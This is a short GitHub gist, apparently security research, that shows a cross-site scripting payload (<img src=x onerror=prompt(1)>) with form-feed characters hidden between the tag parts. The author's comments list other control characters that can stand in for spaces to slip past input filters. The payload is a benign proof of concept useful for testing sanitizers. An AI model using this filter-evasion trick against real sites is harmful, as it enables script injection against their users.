Skip to content

Instantly share code, notes, and snippets.

@yehgdotnet
Created October 31, 2019 05:11
Show Gist options
  • Save yehgdotnet/68e48c96a9cce0ad96e7870c66e17088 to your computer and use it in GitHub Desktop.
Save yehgdotnet/68e48c96a9cce0ad96e7870c66e17088 to your computer and use it in GitHub Desktop.
newpage whitespace character xss
https://jsfiddle.net/qa231rnp/
<img src=x onerror=prompt(1)>
@yehgdotnet
Copy link
Author

yehgdotnet commented Oct 31, 2019

<img src=x onerror=prompt(1)> seems consecutive letters but it's new page hidden space character is among img and src, x and onerror

@yehgdotnet
Copy link
Author

space family characters -0x00 — Null byte;0x0D — Carriage return;0x0A — Line feed;0x0B — Vertical Tab;0x09 — Horizontal tab;0x0C — New page

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment